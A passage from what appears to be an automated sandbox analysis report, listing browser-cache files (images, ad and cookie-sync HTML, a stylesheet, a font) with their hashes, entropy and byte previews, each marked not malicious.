Preview:	......JFIF.....H.H.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..$.8..X...3I..Sb..0/5"...(.XLRm.Z.....R...h...R.#q.9..?QJ.(..qP..TX.....H:S....M<.)..<t...ZZ.ZZ..R..s}j.o......}...+.C....@.4..(.....ii@.....S..4S...-#S.....)....- ....E9zS_.8t..n..J.*.x.J).JQ@..)..........UI.&j....#..cU..U ..\.pP.Z.A.h...".Rw.8P ..M..@.R5.5.%8Si..E...k..r..7..J.F.Q..T..@.)E ......2.:P...Pz.@.*...Z.V..i.P.v..U+s...W.4.....-.....NS

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB1bmbBn[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	6293
Entropy (8bit):	7.9210971722128125
Encrypted:	false
SSDEEP:	96:BGAaEQWE+bhwklah5D0alG6xy/BR5Fx7TQbNGnYPX2rZvEnwBszujcVsPifdLYE1:BCfWE/5obD5Fx7TEKrxEwBEuKqiVw5Mx
MD5:	9B4ACBC874934F0770EFD147C342735D
SHA1:	09CE746C64EE71DCDA199F9A22278B8880528939
SHA-256:	C353000A27843A119039D019F19D207EE197966894161324706A5192A4A018D3
SHA-512:	660FDE09D436922333A302D7FEE5E195F852E5956CA23CF19448C051878E6505F64EC80005B6CB2841FBB3BA72943DCB52D1E1BEDCD90CAEAE5D2D2F486C9895
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..qJ.;..f..z...)..J.....R.O...q4GHE?..S....E8.LU\...E.(..&.qI.v(.......b.S.Xn(.;.b...1N...,7.b..1E..1F).iv..H.K.~.6.p.-..<...T...V.W:.Y]....+RXp:Uf...7`H.....f/j.^.s.....V....#MH....M.o.4.M>by.Sm&...J>.}(..f.[(.W..}(.1...~.vS..~..Z....\|.,..G....aU.i...c...nc.b<..t.O.......P..H.r.#TF8.)Z..W.LE`.qV.$6..'....OR..K.{V...eE(...g;;3..etgyF..>..-}.~.})s......J_$.V..>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB1bmeBM[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	7931
Entropy (8bit):	7.935774500245829
Encrypted:	false
SSDEEP:	192:BCTKhyDBE7R+xdLFEVkUgzerP9Lb6DuDTpIYsitI7jcz:k8yDB8a3+RSez94gdIYvtI7jW
MD5:	6DE9A1D7BEDB2AC043B84A3E6D350E18
SHA1:	F5544D3247E71CE6A6209D04BD536F81B009A7B9
SHA-256:	5D89E9F74504CFE61D3F39DBC41160D1476A573E75B6E8B0426F78E7539EA901
SHA-512:	66BA0B098EAF3F608E8CB577D6FC6D1A8D425567CEA527BAD90F4BC09121C443EEC3B038BB863AE6FA2B73324DC3AB2D8EF168CD05F49D17EA8DAE1FB933320A
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..$...VmKp....3..x..Wtn.z?.SVj..l.......[.}....../.P[\..l...A.....E2./QL.4I.CRTqt5%.aHz.ZC.....QE...2..QHAP7.?Z..o.~...S'...L.p}(....k6.o..{p..ng...tt.r. ....,..1....I.u.....U.\|..;.B..L....Cq...l..........D..........Q.R-d].b....@.....?.Z..........hWJ.E/QL...T[.v....M.CO..F}3P...v...^s....~..[...I\.....CQ[...u..S....T.-Y...Q@.*..E.R.T.........0BS'.,{..>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB1bmf1B[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	17727
Entropy (8bit):	7.963986659297397
Encrypted:	false
SSDEEP:	384:evk9B8JESSdj8AYLvfr6LpijmmdPcj0ElurXz7sY85rlnW2FJehvLhgp:es9B82SM+LW/mlcwEArXPsBrlWAehu
MD5:	953D4788997C006A15B44E09F00340BD
SHA1:	BECDD42B9E0A14938DE366570A552FB9CF349BE4
SHA-256:	B5DD3630DFF9FFE04E6528AFC95A5FC4DE6AEAAA10FC2EF275E590CD2D03A34E
SHA-512:	1844256C80ACE4EC63E9EB21E7B4EE0D32E0C4B7DB84DE1BD2251855E9FB842AFF9804C48AAD46BBAED81182A1FBD3C71284271B56B6B08636A84EAC58472081
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1L.....8..nW. .....u.}...P....H..DO....).qR.:c5.(.@$.q.0#h....Gz.n&...zU.M..c.4....X....j..V#..'h9..;.3`.b?J../E#?.8.......7.u.-....N.T..3..<.qN..H.4...YpW....@. g......".$c..'...N...c....1.5g.#.)QM3F..#.pE&.I..T.;w.I.2..7p.aF..H..8.\|......w(...].D..#.i.[.....X.l.Fx..T...{.vM....:SVG(.t=A....9.z.i.Y.p:.s...I.O.{.....'!.....#i.{Ug@.....'..jV#..[.N;f..;..P

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB1kc8s[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.616735751178749
Encrypted:	false
SSDEEP:	12:6v/7ee//6FAU+ZPhOPnAgOydY9vYyfS1Y+OyGo0VtgzKkcbqeGOrlkTR+a1eXGyI:QGp+Zpajd4/ObGPngzKkcOSnGLT
MD5:	2C55F358C8213245D8DE540D89B76ED0
SHA1:	413A0EA00DBB2A54C6A3933B8864E1847D795124
SHA-256:	D11901D46370D97173C94754B69E90D7540FAF1F5C571C5E521E3A062FBF0A77
SHA-512:	0385C2FE61CFFF69EE6A85D13003B4729B93132007294DF3407DAAB97318157C421940D689E01B6CE5360A57029393FEAB949A83647DF22D43DF5064E7B82DD0
Malicious:	false
Preview:	.PNG........IHDR.............;0......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK.kZQ....W.Vc.-m,...&`....`."....b...%...E2...&.R......A0......d."......>o-i....~...9...=?.!C.\{.j.bmmMR.V_.D......P(..j..Z-]..?...uV_...>.o.e.o..a.d21....\|>..mh4..J...........g..H.......;..C.R..."........J....Q.9..^.......8>??O.zo.Z.h4.N...r9...).......>R.9...Kz..W.T....J.w.3fee..a; ......+.X._]]....?q.\w.Ri.n.............p...CJ.N.Y....l:..).......d2.5..1.3d....\.s....6....nQ..Q...E..d.......l..B!2...G".H&..........ag5..ZR^..0.p.......4...\.2...6.....).........Xj.Ex.n.....&.Z.d.X..#V.b..lll..[...&''i........x....*8...w3..=.A...E..M.T..!8...Q(....L6)..r........h4..>......yj...j.9.:....f..+'._#......j..I...&.0.H4....<R...:....7.Y...n.......Z.s..2.....#A.j:s.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB4j8lS[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	502
Entropy (8bit):	7.275090598817661
Encrypted:	false
SSDEEP:	12:6v/78/kFqpMa5RkFIIAugOKv/pWdYG0VvgUnWevayqc:ofwzbx+D0VXWevayqc
MD5:	B5EE375D16BF365C12D70B587E622965
SHA1:	456F47ACEA559A58301BB22B1A97BA46EA4527FB
SHA-256:	757CC784CB24EB8903E4BF6751C6E221304D43E0018B720067E92C5CC69D07EE
SHA-512:	04E0FE5CC08811F02883B8C682F428A1490A8C87B1742F3E26AD08A806F13EAAC494E964792CE0F1604D4F95E75F364CA1CBC927E41EF4B867D421B31E13FE83
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........(J.....IDAT8O.._J.@..gv.".=...P..Ui..E.....>.f.7.J.../...T........ ..b..nC...{.o....,....Qx\.C..J%.M..M.r.....6\|.K..+...6....F...g...Z..N....G_.....@....R9.>.A9..mf.2w..N..4B....)..gm.......2e..b.&~.z....q..~s1P.... ...C.k"c....9.....q5..#EM...^..T....`.J..0..l<.8.%.G..9.....c....l....D..8...<.F2.a...7..p..1..5.]n .^...-+cDML....D.[N."..6.@E..=&^.J....<"..L ........@....27...B..].......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB6Ma4a[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	396
Entropy (8bit):	6.789155851158018
Encrypted:	false
SSDEEP:	6:6v/lhPkR/CnFPFaUSs1venewS8cJY1pXVhk5Ywr+hrYYg5Y2dFSkjhT5uMEjrTp:6v/78/kFPFnXleeH8YY9yEMpyk3Tc
MD5:	6D4A6F49A9B752ED252A81E201B7DB38
SHA1:	765E36638581717C254DB61456060B5A3103863A
SHA-256:	500064FB54947219AB4D34F963068E2DE52647CF74A03943A63DC5A51847F588
SHA-512:	34E44D7ECB99193427AA5F93EFC27ABC1D552CA58A391506ACA0B166D3831908675F764F25A698A064A8DA01E1F7F58FE7A6A40C924B99706EC9135540968F1A
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........(J....!IDAT8Oc\|. ..?...\|.UA....GP.`\|. ......E...b.....&.>..x.h....c.....g.N...?5.1.8p.....>1..p...0.EA.A...0...cC/...0Ai8...._....p.....)....2...AE....Y?.......8p..d......$1l.%.8.<.6..Lf..a.........%.....-.q...8...4...."...`5..G!.\|..L....p8 ...p.......P....,..l.(..C]@L.#....P...)......8......[.7MZ.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB7gRE[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	482
Entropy (8bit):	7.256101581196474
Encrypted:	false
SSDEEP:	12:6v/78/kFLsiHAnE3oWxYZOjNO/wpc433jHgbc:zLeO/wc433Cc
MD5:	307888C0F03ED874ED5C1D0988888311
SHA1:	D6FB271D70665455A0928A93D2ABD9D9C0F4E309
SHA-256:	D59C8ADBE1776B26EB3A85630198D841F1A1B813D02A6D458AF19E9AAD07B29F
SHA-512:	6856C3AA0849E585954C3C30B4C9C992493F4E28E41D247C061264F1D1363C9D48DB2B9FA1319EA77204F55ADBD383EFEE7CF1DA97D5CBEAC27EC3EF36DEFF8E
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........(J....wIDAT8O.RKN.0.}v\....U....-.. ......8..{$...z..@.....+.......K...%)...I......C4.../XD].Y..:.w.....B9..7..Y..(.m.3. .!..p..,.c.>.\<H.0....,w:.F..m...8c,.^........E.......S...G.%.y.b....Ab.V.-.}.=..."m.O..!...q.....]N.)..w..\..v^.^...u...k..0.....R.....c!.N...DN`)x..:.."*Brg.0avY.>.h...C.S...Fqv._.]......E.h.\|Wg..l........@.$.Z.]....i8.$).t..y.W..H..H.W.8..B...'............IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB7hg4[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	458
Entropy (8bit):	7.172312008412332
Encrypted:	false
SSDEEP:	12:6v/78/kFj13TC93wFdwrWZdLCUYzn9dct8CZsWE0oR0Y8/9ki:u138apdLXqxCS7D2Y+
MD5:	A4F438CAD14E0E2CA9EEC23174BBD16A
SHA1:	41FC65053363E0EEE16DD286C60BEDE6698D96B3
SHA-256:	9D9BCADE7A7F486C0C652C0632F9846FCFD3CC64FEF87E5C4412C677C854E389
SHA-512:	FD41BCD1A462A64E40EEE58D2ED85650CE9119B2BB174C3F8E9DA67D4A349B504E32C449C4E44E2B50E4BEB8B650E6956184A9E9CD09B0FA5EA2778292B01EA5
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........(J...._IDAT8O.RMJ.@...&.....B%PJ.-.......... ...7..P..P....JhA..$Mf..j.n.~.y...}...:...b...b.H<.)...f.U...fs`.rL....}.v.B..d.15..\T..Z_..'.}..rc....(...9V.&.....\|.qd...8.j..... J...^..q.6..KV7Bg.2@).S.l#R.eE.. ..:_.....l.....FR........r...y...eIC......D.c......0.0..Y..h....t....k.b..y^..1a.D..\|...#.ldra.n.0.......:@.C.Z..P....@...*......z.....p....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BB7hjL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	444
Entropy (8bit):	7.25373742182796
Encrypted:	false
SSDEEP:	6:6v/lhPkR/CnFFDDRHbMgYjEr710UbCO8j+qom62fke5YCsd8sKCW5biVp:6v/78/kFFlcjEN0sCoqoX4ke5V6D+bi7
MD5:	D02BB2168E72B702ECDD93BF868B4190
SHA1:	9FB22D0AB1AAA390E0AFF5B721013E706D731BF3
SHA-256:	D2750B6BEE5D9BA31AFC66126EECB39099EF6C7E619DB72775B3E0E2C8C64A6F
SHA-512:	6A801305D1D1E8448EEB62BC7062E6ED7297000070CA626FC32F5E0A3B8C093472BE72654C3552DA2648D8A491568376F3F2AC4EA0135529C96482ECF2B2FD35
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........(J....QIDAT8O....DA.....F...md5"...R%6.].@.............D.....Q...}s.0...~.7svv.......;.%..\.....]...LK$...!.u....3.M.+.U..a..~O......O.XR=.s.../....I....l.=9$...........~A.,. ..<...Yq.9.8...I.&.....V. ..M.\..V6.....O.........!y:p.9..l......"9.....9.7.N.o^[..d......]g.%..L.1...B.1k....k....v#._.w/...w...h..\....W...../..S.`.f.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BBOLLMj[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.140014669230146
Encrypted:	false
SSDEEP:	12:6v/78/soC6yG9YjUiWGS3Sw38Cztj2ChFblexnDizTGN:RCMnX3fxzhhqxn8TGN
MD5:	25D424F126A464CA028C0C9BA692ADA9
SHA1:	E54F845D1099C8D7B7BA0C5E9B57DFA7163CE95C
SHA-256:	E0DF9CDAFF2557C7B555FFAED40B7E553FF6C50DD58FE79C27B3AA69CC56258D
SHA-512:	7E72F13B354AA5EE99EC50057DB2BFBC35A78D5617A36ED90864D1DA6AC1B692301115EF8F44255AB3894142D6C0F634A2CFD44EBCD00B039DC628F751579DC3
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8Oc.v.............g8......'.......X].............l.....z..]\.\|d...i5U`.,,,......~.f.+-ax..5T..`....S.M{......d..w?...1..?..Vo...G....>z.L...2..10222.::1...1....,..0.........``b.HgFE3<;z..,5..G.,P...........t..Y._.}...TT..}.l..0..j......%..^.{.f.9;c....aAA0...w0]....ag.fc...(HK...>0....!=".AMQ.,..`......y...8.a....k.D..`..J8..!`....\|.R...@S.,..0...&..2...0.8t.....yq..B...Wo..@...F..........ks.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\BBPfCZL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	dropped
Size (bytes):	2313
Entropy (8bit):	7.594679301225926
Encrypted:	false
SSDEEP:	48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3ZgaI9kMpRd
MD5:	59DAB7927838DE6A39856EED1495701B
SHA1:	A80734C857BFF8FF159C1879A041C6EA2329A1FA
SHA-256:	544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDE5AD62AD462D57
SHA-512:	7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BD0CEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB86
Malicious:	false
Preview:	GIF89a2.2.....7..;..?..C..I..H..<..9.....8..F..7..E..@..C..@..6..9..8..J..z.G..>..?..A..6..>..8..:..A..=..B..4..B..D..=..K..=..@..<..:..3~.B..D.....,\|.4..2..6..:..J..;..G....Fl..1}.4..R.....Y..E..>..9..5..X..A..2..P..J../\|.9.....T.+Z.....+..<.Fq.Gn..V..;..7.Lr..W..C..<.Fp.]......A.....0{.L..E..H..@.....3..3..O..M..K....#[.3i..D..>........I....<n..;..Z..1..G..8..E....Hu..1..>..T..a.Fs..C..8..0}....;..6..t.Ft..5.Bi..:.x...E.....'z^~.......[....8`..........;..@..B.....7.....<.................F.....6...........>..?.n......g.......s...)a.Cm....'a.0Z..7....3f..<.:e.....@.q.....Ds..B....!P.n...J............Li..=......F.....B.....:r....w..\|..........`..[}.g...J.Ms..K.Ft.....'..>..........Ry.Nv.n..]..Bl........S..;....Dj.....=.....O.y.......6..J.......)V..g..5.......!..NETSCAPE2.0.....!...d...,....2.2........3.`..9.(\|.d.C .wH.(."D...(D.....d.Y......<.(PP.F...dL.@.&.28..$1S....TP......>...L..!T.X!.(..@a..IsgM..\|..Jc(Q.+.......2.:.)y2.J......W,..eW2.!....!....C.....d...zeh....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\auction[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	20021
Entropy (8bit):	5.749531868688612
Encrypted:	false
SSDEEP:	384:Bj0ztOGze1h0RoQ574xh0ubNsFgU6Hx21rIN9z1wiREUTDLsu7Fj:BcOxhVUuBsoR+UWU/woV
MD5:	45174A849816551B550753501FD86BDC
SHA1:	948F8363D6145825C8E74320019572C51CCB4E09
SHA-256:	29E57DB7D864CC8EE7A23B8D63A2076233E1F03A23D41E2154954C5CD2B71830
SHA-512:	F3C5EA9DD3AD65B0745558EA7AC68EA6C8362B1D21CBB66BDF194F8F61B26AE317A11332892DE2CBFD63EF996099F8ED4C274AE4C15D6C1CFEAB0D0E771DFAE0
Malicious:	false
Preview:	.<script id="sam-metadata" type="text/html" data-json="{"optout":{"msaOptOut":false,"browserOptOut":false},"taboola":{"sessionId":"v2_7606eb8b472e5b3013c75fc89536c34b_5f0ad531-0c66-4193-abe9-6ef6e1a5c53e-tuct6b822a1_1606327585_1606327585_CIi3jgYQr4c_GLbX-IfUsuWhNSABKAEwKziy0A1A0IgQSN7Y2QNQ____________AVgAYABoopyqvanCqcmOAQ"},"tbsessionid":"v2_7606eb8b472e5b3013c75fc89536c34b_5f0ad531-0c66-4193-abe9-6ef6e1a5c53e-tuct6b822a1_1606327585_1606327585_CIi3jgYQr4c_GLbX-IfUsuWhNSABKAEwKziy0A1A0IgQSN7Y2QNQ____________AVgAYABoopyqvanCqcmOAQ","pageViewId":"1324f90d4a0344e98cea8af65fafbbd3","RequestLevelBeaconUrls":[]}">.</script>.<li class="triptych serversidenativead hasimage " data-json="{"tvb":[],"trb":[],"tjb":[],"p":"taboola","e":true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="3" data-viewability="">.<

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\checksync[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	20537
Entropy (8bit):	5.298606813221356
Encrypted:	false
SSDEEP:	384:kOAG36OllD7XFe0uvg2f5vzBgF3OZOjQWwY4RXrqt:f93D5GY2RmF3OsjQWwY4RXrqt
MD5:	2E8E023F862C5E446EA77929603D4CCC
SHA1:	E493799CE0E9F9CAAAA10757B67F56D714F6B640
SHA-256:	D15675A57DF77672F1F889C6C15C33F8C43AA01B0CB9AE46ED527EB5DA32512F
SHA-512:	F8BA12BC15C4643B9815EFD422E2371689723BC471F4F9E9C6E5DC45E66F83356FF00AE4F122757BAD027F57E2B26CDAA32B24F608204465A089D7AE4A103472
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":72,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\checksync[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	20537
Entropy (8bit):	5.298606813221356
Encrypted:	false
SSDEEP:	384:kOAG36OllD7XFe0uvg2f5vzBgF3OZOjQWwY4RXrqt:f93D5GY2RmF3OsjQWwY4RXrqt
MD5:	2E8E023F862C5E446EA77929603D4CCC
SHA1:	E493799CE0E9F9CAAAA10757B67F56D714F6B640
SHA-256:	D15675A57DF77672F1F889C6C15C33F8C43AA01B0CB9AE46ED527EB5DA32512F
SHA-512:	F8BA12BC15C4643B9815EFD422E2371689723BC471F4F9E9C6E5DC45E66F83356FF00AE4F122757BAD027F57E2B26CDAA32B24F608204465A089D7AE4A103472
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":72,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mwf-west-european-default.min[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	563851
Entropy (8bit):	5.221453271093944
Encrypted:	false
SSDEEP:	6144:2VR57iqbPXlB5UR5vWenR5xWeMFdBjL+ks0EcU0MWEsuWe5fXbHfxlN/FNCn/Lpl:tTP0BKYtf
MD5:	12DD1E4D0485A80184B36D158018DE81
SHA1:	EB2594062E90E3DCD5127679F9C369D3BF39D61C
SHA-256:	A04B5B8B345E79987621008E6CC9BEF2B684663F9A820A0C7460E727A2A4DDC3
SHA-512:	F3A92BF0C681E6D2198970F43B966ABDF8CCBFF3F9BD5136A1CA911747369C49F8C36C69A7E98E0F2AED3163D9D1C5D44EFCE67A178DE479196845721219E12C
Malicious:	false
Preview:	@charset "UTF-8";/! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise.//! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\mwfmdl2-v3.54[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	dropped
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\otFlat[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
